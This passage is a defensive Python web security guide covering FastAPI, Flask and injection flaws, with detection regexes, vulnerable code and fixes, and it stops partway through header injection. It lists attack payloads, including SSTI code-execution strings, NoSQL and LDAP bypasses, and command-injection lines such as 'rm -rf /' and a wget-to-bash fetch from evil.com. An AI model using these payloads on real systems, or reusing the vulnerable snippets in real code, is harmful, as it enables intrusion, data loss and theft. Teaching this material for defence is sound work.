# Use CSP frame-ancestors for more control
SECURE_CONTENT_TYPE_NOSNIFF = True
CSP_FRAME_ANCESTORS = ["'self'"]

FastAPI Security Guide

Framework Detection

# Detection patterns
from fastapi import FastAPI
from fastapi import *
app = FastAPI()

---

Debug Mode and Documentation

Risk Level: MEDIUM

Detection Patterns:

FastAPI\s*\([^)]*docs_url
FastAPI\s*\([^)]*redoc_url
FastAPI\s*\([^)]*openapi_url
app\.debug\s*=\s*True

Vulnerable Code:

# Default docs exposed in production
app = FastAPI()  # /docs, /redoc, /openapi.json exposed

# Debug mode
app = FastAPI(debug=True)

Impact:

• API documentation exposes all endpoints
• Attackers can discover all routes and parameters
• Debug mode exposes detailed error information

Remediation:

import os

# Disable docs in production
app = FastAPI(
    docs_url="/docs" if os.environ.get("ENV") == "development" else None,
    redoc_url="/redoc" if os.environ.get("ENV") == "development" else None,
    openapi_url="/openapi.json" if os.environ.get("ENV") == "development" else None,
    debug=os.environ.get("DEBUG", "false").lower() == "true"
)

# Or completely disable in production
if os.environ.get("ENV") == "production":
    app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
else:
    app = FastAPI()

---

SQL Injection

Risk Level: CRITICAL

Detection Patterns:

\.execute\s*\(f['"']
\.execute\s*\([^)]*%
text\s*\(f['"']

Vulnerable Code:

from sqlalchemy import text
from fastapi import FastAPI

@app.get("/users/{user_id}")
async def get_user(user_id: str, db: Session = Depends(get_db)):
    # String formatting in query
    result = db.execute(f"SELECT * FROM users WHERE id = {user_id}")
    return result.fetchone()

@app.get("/search")
async def search(q: str, db: Session = Depends(get_db)):
    result = db.execute(text(f"SELECT * FROM users WHERE name LIKE '%{q}%'"))
    return result.fetchall()

Remediation:

from sqlalchemy.orm import Session
from sqlalchemy import text

# Use ORM
@app.get("/users/{user_id}")
async def get_user(user_id: int, db: Session = Depends(get_db)):
    return db.query(User).filter(User.id == user_id).first()

# Parameterized queries
@app.get("/search")
async def search(q: str, db: Session = Depends(get_db)):
    result = db.execute(
        text("SELECT * FROM users WHERE name LIKE :query"),
        {"query": f"%{q}%"}
    )
    return result.fetchall()

---

Authentication Vulnerabilities

Risk Level: HIGH

Detection Patterns:

Depends\s*\(\s*\)
@app\.(get|post|put|delete|patch)\s*\([^)]*\)\s*\n\s*(async\s+)?def\s+\w+\s*\([^)]*\):(?![^:]*Depends)
OAuth2PasswordBearer
HTTPBasic

Vulnerable Code:

from fastapi import FastAPI

# No authentication
@app.get("/admin/users")
async def list_users():
    return get_all_users()

# Broken JWT validation
@app.get("/protected")
async def protected(token: str):
    payload = jwt.decode(token, options={"verify_signature": False})  # No verification!
    return payload

# Hardcoded secret
SECRET_KEY = "my-secret-key"

# No token expiry check
def verify_token(token: str):
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    return payload  # No exp check!

Remediation:

from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jose import jwt, JWTError
from datetime import datetime, timedelta
import os

SECRET_KEY = os.environ.get("SECRET_KEY")
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 30

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")

def create_access_token(data: dict):
    to_encode = data.copy()
    expire = datetime.utcnow() + timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
    to_encode.update({"exp": expire})
    return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)

async def get_current_user(token: str = Depends(oauth2_scheme)):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Could not validate credentials",
        headers={"WWW-Authenticate": "Bearer"},
    )
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
        username: str = payload.get("sub")
        if username is None:
            raise credentials_exception
    except JWTError:
        raise credentials_exception
    return username

@app.get("/admin/users")
async def list_users(current_user: str = Depends(get_current_user)):
    return get_all_users()

---

Input Validation

Risk Level: HIGH

Detection Patterns:

def\s+\w+\s*\([^)]*:\s*str[^)]*\)
def\s+\w+\s*\([^)]*:\s*Any[^)]*\)
Query\s*\([^)]*\)(?!.*regex)

Vulnerable Code:

from fastapi import FastAPI, Query

# No input validation
@app.get("/users/{user_id}")
async def get_user(user_id: str):  # Should be int
    return db.query(f"SELECT * FROM users WHERE id = {user_id}")

# Accepting any input
@app.post("/data")
async def create_data(data: dict):  # No schema validation
    save_to_db(data)

# Weak validation
@app.get("/search")
async def search(q: str = Query(..., min_length=1)):  # No max, no pattern
    pass

Remediation:

from fastapi import FastAPI, Query, Path, Body
from pydantic import BaseModel, Field, validator, EmailStr
from typing import Optional
import re

# Use Pydantic models for request bodies
class UserCreate(BaseModel):
    username: str = Field(..., min_length=3, max_length=50, regex="^[a-zA-Z0-9_]+$")
    email: EmailStr
    password: str = Field(..., min_length=8)

    @validator('password')
    def password_strength(cls, v):
        if not re.search(r'[A-Z]', v):
            raise ValueError('Password must contain uppercase letter')
        if not re.search(r'[0-9]', v):
            raise ValueError('Password must contain digit')
        return v

@app.post("/users")
async def create_user(user: UserCreate):
    pass

# Use type hints and constraints
@app.get("/users/{user_id}")
async def get_user(
    user_id: int = Path(..., gt=0, description="User ID must be positive")
):
    pass

@app.get("/search")
async def search(
    q: str = Query(..., min_length=1, max_length=100, regex="^[a-zA-Z0-9 ]+$")
):
    pass

---

CORS Misconfiguration

Risk Level: HIGH

Detection Patterns:

CORSMiddleware
allow_origins\s*=\s*\[\s*['"]\*['"]\s*\]
allow_credentials\s*=\s*True.*allow_origins\s*=\s*\[\s*['"]\*['"]\s*\]

Vulnerable Code:

from fastapi.middleware.cors import CORSMiddleware

# Allow all origins with credentials
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,  # Dangerous with allow_origins=["*"]
    allow_methods=["*"],
    allow_headers=["*"],
)

Impact:

• Any website can make authenticated requests
• Session/cookie theft
• CSRF-like attacks

Remediation:

from fastapi.middleware.cors import CORSMiddleware

# Specific origins
origins = [
    "https://example.com",
    "https://www.example.com",
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

# Or dynamic origin validation
from starlette.middleware.cors import CORSMiddleware as StarletteCORS

def is_allowed_origin(origin: str) -> bool:
    allowed_patterns = [
        r"https://.*\.example\.com$",
        r"https://example\.com$",
    ]
    return any(re.match(pattern, origin) for pattern in allowed_patterns)

---

Path Traversal

Risk Level: HIGH

Detection Patterns:

FileResponse\s*\(
StaticFiles\s*\(
Path\s*\([^)]*\)\s*[^,)]*\.\.

Vulnerable Code:

from fastapi import FastAPI
from fastapi.responses import FileResponse

@app.get("/files/{filename}")
async def get_file(filename: str):
    return FileResponse(f"/uploads/{filename}")  # Path traversal!

# User-controlled static path
from fastapi.staticfiles import StaticFiles
app.mount("/static", StaticFiles(directory=user_input), name="static")

Remediation:

from fastapi import FastAPI, HTTPException
from fastapi.responses import FileResponse
from pathlib import Path
import os

UPLOAD_DIR = Path("/uploads").resolve()

@app.get("/files/{filename}")
async def get_file(filename: str):
    # Resolve and validate path
    file_path = (UPLOAD_DIR / filename).resolve()

    # Ensure path is within upload directory
    if not file_path.is_relative_to(UPLOAD_DIR):
        raise HTTPException(status_code=400, detail="Invalid filename")

    if not file_path.exists():
        raise HTTPException(status_code=404, detail="File not found")

    return FileResponse(file_path)

---

Server-Side Request Forgery (SSRF)

Risk Level: HIGH

Detection Patterns:

httpx\.(get|post|put|delete)\s*\([^)]*request
aiohttp\.ClientSession\s*\(\s*\)\.get\s*\([^)]*request
requests\.(get|post)\s*\([^)]*request

Vulnerable Code:

import httpx
from fastapi import FastAPI

@app.get("/fetch")
async def fetch_url(url: str):
    async with httpx.AsyncClient() as client:
        response = await client.get(url)  # SSRF!
    return response.text

@app.post("/webhook")
async def webhook(callback_url: str, data: dict):
    async with httpx.AsyncClient() as client:
        await client.post(callback_url, json=data)  # SSRF!

Remediation:

import httpx
from fastapi import FastAPI, HTTPException
from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)

        # Only allow HTTPS
        if parsed.scheme != "https":
            return False

        # Check against allowlist
        if parsed.hostname not in ALLOWED_HOSTS:
            return False

        # Block internal IPs
        try:
            ip = ipaddress.ip_address(parsed.hostname)
            if ip.is_private or ip.is_loopback or ip.is_reserved:
                return False
        except ValueError:
            pass  # It's a hostname, not IP

        return True
    except Exception:
        return False

@app.get("/fetch")
async def fetch_url(url: str):
    if not is_safe_url(url):
        raise HTTPException(status_code=400, detail="URL not allowed")

    async with httpx.AsyncClient() as client:
        response = await client.get(url, follow_redirects=False)
    return response.text

---

Dependency Injection Security

Risk Level: MEDIUM

Detection Patterns:

Depends\s*\([^)]*\)
get_db\s*\(

Vulnerable Code:

from fastapi import Depends

# Database session not properly closed
def get_db():
    db = SessionLocal()
    return db  # Session never closed!

# No exception handling
async def get_current_user(token: str = Depends(oauth2_scheme)):
    user = decode_token(token)  # Might raise exception
    return user

Remediation:

from fastapi import Depends, HTTPException
from contextlib import contextmanager

# Proper session management
def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()

# With exception handling
async def get_current_user(token: str = Depends(oauth2_scheme)):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
        user = get_user(payload.get("sub"))
        if user is None:
            raise HTTPException(status_code=401, detail="User not found")
        return user
    except JWTError:
        raise HTTPException(status_code=401, detail="Invalid token")

---

Response Model Security

Risk Level: HIGH

Detection Patterns:

def\s+\w+\s*\([^)]*\)\s*->.*dict
return\s+\w+\.__dict__
\.dict\s*\(\s*\)

Vulnerable Code:

from fastapi import FastAPI

class User:
    def __init__(self):
        self.id = 1
        self.username = "admin"
        self.password_hash = "..."  # Sensitive!
        self.api_key = "..."        # Sensitive!

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    user = get_user_from_db(user_id)
    return user.__dict__  # Exposes all fields!

@app.get("/me")
async def get_me(user: User = Depends(get_current_user)):
    return user.dict()  # Includes sensitive fields

Remediation:

from fastapi import FastAPI
from pydantic import BaseModel

# Define response model explicitly
class UserResponse(BaseModel):
    id: int
    username: str
    email: str

    class Config:
        orm_mode = True

@app.get("/users/{user_id}", response_model=UserResponse)
async def get_user(user_id: int):
    return get_user_from_db(user_id)

# Exclude sensitive fields
class UserOut(BaseModel):
    id: int
    username: str

    class Config:
        orm_mode = True
        # Explicitly exclude fields
        fields = {'password_hash': {'exclude': True}}

@app.get("/me", response_model=UserOut)
async def get_me(user: User = Depends(get_current_user)):
    return user

---

Rate Limiting

Risk Level: MEDIUM

Missing Rate Limiting Detection: Check for authentication/sensitive endpoints without rate limiting.

Vulnerable Code:

# No rate limiting on login
@app.post("/login")
async def login(credentials: Credentials):
    # Can be brute-forced indefinitely
    pass

# No rate limiting on password reset
@app.post("/password-reset")
async def reset_password(email: str):
    pass

Remediation:

from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded

limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

@app.post("/login")
@limiter.limit("5/minute")
async def login(request: Request, credentials: Credentials):
    pass

@app.post("/password-reset")
@limiter.limit("3/hour")
async def reset_password(request: Request, email: str):
    pass

---

Security Headers

Risk Level: MEDIUM

Remediation:

from fastapi import FastAPI
from starlette.middleware.base import BaseHTTPMiddleware

class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        response = await call_next(request)
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["X-Frame-Options"] = "DENY"
        response.headers["X-XSS-Protection"] = "1; mode=block"
        response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
        response.headers["Content-Security-Policy"] = "default-src 'self'"
        return response

app.add_middleware(SecurityHeadersMiddleware)

---

Secrets in Configuration

Risk Level: CRITICAL

Detection Patterns:

SECRET_KEY\s*=\s*['"'][^'"']+['"']
API_KEY\s*=\s*['"'][^'"']+['"']
DATABASE_URL\s*=\s*['"'][^'"']+['"']

Vulnerable Code:

SECRET_KEY = "my-secret-key"
DATABASE_URL = "postgresql://user:password@localhost/db"

Remediation:

from pydantic import BaseSettings

class Settings(BaseSettings):
    secret_key: str
    database_url: str
    api_key: str

    class Config:
        env_file = ".env"

settings = Settings()

# Use settings throughout the app
SECRET_KEY = settings.secret_key

Flask Security Guide

Framework Detection

# Detection patterns
from flask import Flask
from flask import *
app = Flask(__name__)

---

Debug Mode

Risk Level: CRITICAL

Detection Pattern:

app\.run\s*\([^)]*debug\s*=\s*True
DEBUG\s*=\s*True
app\.debug\s*=\s*True
FLASK_DEBUG\s*=\s*1

Vulnerable Code:

# Exposes Werkzeug debugger with code execution
app.run(debug=True)
app.config['DEBUG'] = True

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')  # Exposed to network!

Impact:

• Interactive debugger allows arbitrary code execution
• Stack traces expose source code and variables
• PIN can be brute-forced or predicted

Remediation:

# Use environment variable
import os
app.run(debug=os.environ.get('FLASK_DEBUG', 'False').lower() == 'true')

# Production configuration
class ProductionConfig:
    DEBUG = False
    TESTING = False

app.config.from_object(ProductionConfig)

---

Secret Key

Risk Level: CRITICAL

Detection Pattern:

SECRET_KEY\s*=\s*['"'][^'"']+['"']
app\.secret_key\s*=\s*['"']
app\.config\s*\[\s*['"']SECRET_KEY['"']\s*\]\s*=\s*['"']

Vulnerable Code:

app.secret_key = 'development'
app.config['SECRET_KEY'] = 'super-secret-key'
SECRET_KEY = 'change-me'

Impact:

• Session cookie forgery
• CSRF token bypass
• Signed cookie manipulation

Remediation:

import os
import secrets

# Generate secure key
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or secrets.token_hex(32)

# Or from file
with open('/etc/secrets/flask_key', 'rb') as f:
    app.config['SECRET_KEY'] = f.read()

---

Session Security

Risk Level: HIGH

Detection Patterns:

session\s*\[
SESSION_COOKIE_SECURE\s*=\s*False
SESSION_COOKIE_HTTPONLY\s*=\s*False
PERMANENT_SESSION_LIFETIME\s*=\s*timedelta\s*\([^)]*days\s*=\s*[3-9]\d+

Vulnerable Code:

# Client-side session without encryption
session['user_id'] = user.id
session['is_admin'] = True  # User can modify!

# Insecure session configuration
app.config['SESSION_COOKIE_SECURE'] = False
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SESSION_COOKIE_SAMESITE'] = None

Impact:

• Session data visible to users (base64 encoded, not encrypted)
• Session hijacking via XSS
• Session fixation

Remediation:

# Secure session configuration
app.config.update(
    SESSION_COOKIE_SECURE=True,       # HTTPS only
    SESSION_COOKIE_HTTPONLY=True,     # No JavaScript access
    SESSION_COOKIE_SAMESITE='Lax',    # CSRF protection
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)

# Use server-side sessions
from flask_session import Session
app.config['SESSION_TYPE'] = 'redis'
Session(app)

---

Server-Side Template Injection (SSTI)

Risk Level: CRITICAL

Detection Patterns:

render_template_string\s*\(
Template\s*\([^)]*\)\.render
jinja2\.Environment\s*\(\s*\)\.from_string

Vulnerable Code:

from flask import render_template_string

# Direct user input in template
@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template_string(f'Hello {name}!')

# Template from user input
@app.route('/template')
def custom_template():
    template = request.form.get('template')
    return render_template_string(template)

Exploit:

# Access config
{{ config }}
{{ config.SECRET_KEY }}

# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

Remediation:

from flask import render_template
from markupsafe import escape

# Use file-based templates
@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template('hello.html', name=name)

# If dynamic template needed, escape input
@app.route('/greeting')
def greeting():
    name = escape(request.args.get('name', ''))
    return render_template_string('Hello {{ name }}!', name=name)

---

Cross-Site Scripting (XSS)

Risk Level: HIGH

Detection Patterns:

\|\s*safe\s*[%}]
Markup\s*\(
__html__

Vulnerable Code:

# Disabling auto-escaping
{{ user_input | safe }}
{% autoescape false %}{{ user_input }}{% endautoescape %}

# Python-side Markup
from markupsafe import Markup
return Markup(f"<div>{user_input}</div>")

# Response without proper content-type
@app.route('/api')
def api():
    return f"<html>{user_input}</html>"

Remediation:

# Jinja2 auto-escapes by default - don't disable it
{{ user_input }}  # Automatically escaped

# If you must use safe, sanitize first
import bleach
clean_html = bleach.clean(user_input, tags=['p', 'b', 'i'])
return render_template('page.html', content=Markup(clean_html))

# Set proper content-type
from flask import jsonify
return jsonify({"message": user_input})

---

Cross-Site Request Forgery (CSRF)

Risk Level: HIGH

Detection Patterns:

@app\.route\s*\([^)]*methods\s*=\s*\[[^\]]*['"]POST['"]
WTF_CSRF_ENABLED\s*=\s*False
csrf\.exempt
@csrf\.exempt

Vulnerable Code:

# No CSRF protection
@app.route('/transfer', methods=['POST'])
def transfer():
    amount = request.form['amount']
    to_account = request.form['to']
    # Process transfer without CSRF validation

# Disabled CSRF
app.config['WTF_CSRF_ENABLED'] = False

# Exempted route
@csrf.exempt
@app.route('/api/data', methods=['POST'])
def api_data():
    pass

Remediation:

from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)

# In templates
<form method="post">
    {{ csrf_token() }}
    <!-- or -->
    <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
</form>

# For AJAX
<meta name="csrf-token" content="{{ csrf_token() }}">

# JavaScript
fetch('/api', {
    headers: {
        'X-CSRFToken': document.querySelector('meta[name=csrf-token]').content
    }
});

---

SQL Injection

Risk Level: CRITICAL

Detection Patterns:

db\.engine\.execute\s*\(f
db\.session\.execute\s*\(f
text\s*\(f
\.filter\s*\(.*==.*request\.

Vulnerable Code:

from flask_sqlalchemy import SQLAlchemy

# Raw query with string formatting
@app.route('/user/<username>')
def get_user(username):
    result = db.engine.execute(f"SELECT * FROM users WHERE username = '{username}'")
    return jsonify(result.fetchall())

# SQLAlchemy text with formatting
from sqlalchemy import text
db.session.execute(text(f"SELECT * FROM users WHERE id = {user_id}"))

Remediation:

# Use SQLAlchemy ORM
User.query.filter_by(username=username).first()

# Parameterized queries
from sqlalchemy import text
db.session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})

# SQLAlchemy expressions
from sqlalchemy import select
stmt = select(User).where(User.username == username)
result = db.session.execute(stmt)

---

Open Redirect

Risk Level: MEDIUM

Detection Patterns:

redirect\s*\(\s*request\.(args|form)
return\s+redirect\s*\([^)]*\+
url_for\s*\([^)]*_external\s*=\s*True

Vulnerable Code:

from flask import redirect, request

@app.route('/login')
def login():
    next_url = request.args.get('next')
    # After login...
    return redirect(next_url)  # Can redirect to malicious site

Remediation:

from urllib.parse import urlparse, urljoin
from flask import request, url_for

def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc

@app.route('/login')
def login():
    next_url = request.args.get('next')
    if not is_safe_url(next_url):
        return abort(400)
    return redirect(next_url)

# Or use url_for with endpoint names
return redirect(url_for('dashboard'))

---

File Upload Vulnerabilities

Risk Level: HIGH

Detection Patterns:

request\.files
\.save\s*\(
filename\s*=\s*.*request
send_from_directory

Vulnerable Code:

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    # Direct save with user-provided filename
    file.save(f'/uploads/{file.filename}')

# Path traversal
filename = request.form['filename']
return send_from_directory('/uploads', filename)

Remediation:

from werkzeug.utils import secure_filename
import os
import uuid

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    if file and allowed_file(file.filename):
        # Use secure_filename
        filename = secure_filename(file.filename)
        # Or generate random filename
        ext = filename.rsplit('.', 1)[1].lower()
        filename = f"{uuid.uuid4()}.{ext}"
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    return 'Uploaded'

# Safe file serving
@app.route('/download/<filename>')
def download(filename):
    filename = secure_filename(filename)
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

---

Security Headers

Risk Level: MEDIUM

Missing Headers Detection: Check for absence of security headers in responses.

Remediation with Flask-Talisman:

from flask_talisman import Talisman

Talisman(app,
    force_https=True,
    strict_transport_security=True,
    session_cookie_secure=True,
    content_security_policy={
        'default-src': "'self'",
        'script-src': "'self'",
        'style-src': "'self' 'unsafe-inline'",
    }
)

Manual headers:

@app.after_request
def add_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Content-Security-Policy'] = "default-src 'self'"
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    return response

---

Blueprint Security

Risk Level: MEDIUM

Detection Patterns:

Blueprint\s*\(
\.register_blueprint\s*\(

Vulnerable Code:

# No authentication on blueprint
admin_bp = Blueprint('admin', __name__, url_prefix='/admin')

@admin_bp.route('/users')
def list_users():
    return jsonify(User.query.all())

Remediation:

from functools import wraps
from flask import session, abort

def admin_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if not session.get('is_admin'):
            abort(403)
        return f(*args, **kwargs)
    return decorated

@admin_bp.before_request
@admin_required
def before_request():
    pass  # All routes in blueprint require admin

# Or per-route
@admin_bp.route('/users')
@admin_required
def list_users():
    return jsonify(User.query.all())

---

Sensitive Data Exposure

Risk Level: HIGH

Detection Patterns:

\.to_dict\s*\(
jsonify\s*\(.*query
return\s+str\s*\(.*model

Vulnerable Code:

@app.route('/user/<int:id>')
def get_user(id):
    user = User.query.get(id)
    return jsonify(user.__dict__)  # Exposes password hash, internal fields

Remediation:

from marshmallow import Schema, fields

class UserSchema(Schema):
    id = fields.Int()
    username = fields.Str()
    email = fields.Str()
    # Exclude sensitive fields

user_schema = UserSchema()

@app.route('/user/<int:id>')
def get_user(id):
    user = User.query.get_or_404(id)
    return jsonify(user_schema.dump(user))

---

Rate Limiting

Risk Level: MEDIUM

Missing Rate Limiting Detection: Check for authentication endpoints without rate limiting.

Remediation:

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    # Login logic
    pass

@app.route('/api/data')
@limiter.limit("100 per minute")
def api_data():
    pass

Injection Vulnerability Patterns for Python

SQL Injection

Detection Patterns

String Concatenation in Queries:

\.execute\s*\(\s*["'].*["']\s*\+
\.execute\s*\(\s*["'].*["']\s*%
\.execute\s*\(\s*f["']
\.execute\s*\(\s*["'].*\.format\(

Vulnerable Code Examples:

# String concatenation
cursor.execute("SELECT * FROM users WHERE id = " + user_id)
cursor.execute("SELECT * FROM users WHERE name = '" + name + "'")

# String formatting (%)
cursor.execute("SELECT * FROM users WHERE id = %s" % user_id)
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)

# f-strings
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'")

# .format()
cursor.execute("SELECT * FROM users WHERE id = {}".format(user_id))

# ORM raw queries
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
db.session.execute(f"SELECT * FROM users WHERE id = {id}")
engine.execute(text(f"SELECT * FROM users WHERE id = {id}"))

Safe Alternatives

# Parameterized queries (positional)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Parameterized queries (named)
cursor.execute("SELECT * FROM users WHERE id = :id", {"id": user_id})

# SQLAlchemy with text()
from sqlalchemy import text
db.session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})

# Django ORM
User.objects.filter(id=user_id)
User.objects.filter(name=name)

# SQLAlchemy ORM
session.query(User).filter(User.id == user_id).first()

---

NoSQL Injection

MongoDB

Detection Patterns:

\.find\s*\(\s*\{[^}]*:\s*[^}]*\}
\.find_one\s*\(\s*\{[^}]*:\s*[^}]*\}
\$where
\$regex

Vulnerable Code:

# Direct user input in query
db.users.find({"username": username, "password": password})

# JSON parsing without validation
query = json.loads(request.data)
db.users.find(query)  # Attacker sends {"$gt": ""}

# $where injection
db.users.find({"$where": f"this.username == '{username}'"})

Attack Payloads:

# Bypass authentication
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$regex": ".*"}}

# Extract data
{"username": {"$regex": "^a"}}  # Enumerate usernames starting with 'a'

Safe Alternatives:

# Validate input types
if not isinstance(username, str) or not isinstance(password, str):
    raise ValueError("Invalid input type")

# Use explicit field matching
db.users.find_one({
    "username": str(username),
    "password_hash": hash_password(password)
})

# Sanitize operators
def sanitize_query(query):
    if isinstance(query, dict):
        return {
            k: sanitize_query(v)
            for k, v in query.items()
            if not k.startswith('$')
        }
    return query

---

Command Injection

Detection Patterns

os module:

os\.system\s*\(
os\.popen\s*\(
os\.spawn[lv]?[pe]?\s*\(

subprocess module:

subprocess\.(call|run|Popen|check_output|check_call)\s*\([^)]*shell\s*=\s*True
subprocess\.(call|run|Popen|check_output|check_call)\s*\(\s*f["']
subprocess\.(call|run|Popen|check_output|check_call)\s*\(\s*["'].*["']\s*%

Vulnerable Code:

import os
import subprocess

# os.system
os.system(f"ping {host}")
os.system("ls " + directory)

# os.popen
os.popen(f"cat {filename}")

# subprocess with shell=True
subprocess.call(f"ping {host}", shell=True)
subprocess.run(f"grep {pattern} {file}", shell=True)
subprocess.Popen(f"ls {dir}", shell=True, stdout=subprocess.PIPE)

# subprocess with string command
subprocess.call(f"ping {host}")  # Still vulnerable if shell=True is default

Attack Payloads:

# Command chaining
; rm -rf /
&& cat /etc/passwd
|| wget http://evil.com/shell.sh | bash

# Subshell execution
$(cat /etc/passwd)
`cat /etc/passwd`

# Input redirection
< /etc/passwd
> /tmp/pwned

Safe Alternatives:

import subprocess
import shlex

# Use list arguments (no shell)
subprocess.run(['ping', '-c', '1', host])
subprocess.run(['grep', pattern, filename])

# If shell is required, use shlex.quote
subprocess.run(f"ping -c 1 {shlex.quote(host)}", shell=True)

# Validate against allowlist
import re
HOSTNAME_REGEX = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9.-]*$')
if not HOSTNAME_REGEX.match(host):
    raise ValueError("Invalid hostname")
subprocess.run(['ping', '-c', '1', host])

---

LDAP Injection

Detection Patterns

ldap.*search\s*\(\s*f["']
ldap.*search\s*\(\s*["'].*["']\s*%
ldap.*search\s*\(\s*["'].*["']\s*\+
\(uid=.*\)
\(cn=.*\)
\(mail=.*\)

Vulnerable Code:

import ldap

# Direct string interpolation
conn.search(f"(uid={username})")
conn.search("(uid=%s)" % username)
conn.search("(uid=" + username + ")")

# Multiple fields
conn.search(f"(&(uid={username})(password={password}))")

Attack Payloads:

# Bypass authentication
*)(uid=*))(|(uid=*
admin)(|(password=*
*))%00

# Information disclosure
*)(objectClass=*

Safe Alternatives:

from ldap3.utils.conv import escape_filter_chars

# Escape special characters
safe_username = escape_filter_chars(username)
conn.search(f"(uid={safe_username})")

# Or manual escaping
def ldap_escape(s):
    escape_chars = ['\\', '*', '(', ')', '\x00']
    for char in escape_chars:
        s = s.replace(char, '\\' + hex(ord(char))[2:].zfill(2))
    return s

---

XPath Injection

Detection Patterns

xpath\s*\(\s*f["']
\.xpath\s*\(\s*["'].*["']\s*%
\.xpath\s*\(\s*["'].*["']\s*\+

Vulnerable Code:

from lxml import etree

# Direct string interpolation
tree.xpath(f"//users/user[@name='{username}']")
tree.xpath("//users/user[@name='%s']" % username)

Attack Payloads:

' or '1'='1
' or ''='
'] | //user | //user[@name='

Safe Alternatives:

from lxml import etree

# Use XPath variables
tree.xpath("//users/user[@name=$name]", name=username)

# Or parameterized queries
tree.xpath("//users/user[@name=$name]", namespaces=None, name=username)

---

Template Injection (SSTI)

Detection Patterns

render_template_string\s*\(
Template\s*\([^)]*\)\.render
jinja2\.Template\s*\(
Environment\s*\(\s*\)\.from_string

Vulnerable Code:

from flask import render_template_string
from jinja2 import Template

# Direct user input in template
render_template_string(user_input)
render_template_string(f"Hello {user_name}")  # If user_name contains {{ }}

# Jinja2 Template
template = Template(user_input)
template.render()

Attack Payloads:

# Read config
{{ config }}
{{ config.items() }}

# RCE via Jinja2
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }}

# Flask specific
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

Safe Alternatives:

from flask import render_template
from markupsafe import escape

# Use render_template with file-based templates
render_template('hello.html', name=user_name)

# If dynamic templates needed, escape user input
render_template_string("Hello {{ name }}", name=escape(user_name))

# Use sandboxed environment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)

---

Header Injection

Detection Patterns

response\.headers\[['"'][^'"']+['"']\]\s*=\s*[^;]+\+
\.add_header\s*\([^)]*\+
\.set_header\s*\([^)]*\+

Vulnerable Code:

# Flask
response.headers['X-Custom'] = user_input
response.headers['Location'] = redirect_url  # CRLF injection

# Direct header setting
@app.after_request
def add_header(response):
    response.headers['X-User'] = request.args.get('user')
    return response

Attack Payloads:

# CRLF injection
value\r\nX-Injected: malicious
value\r\n\r\n<script>alert(1)</script>

Safe Alternatives:

import re

def sanitize_header(value):
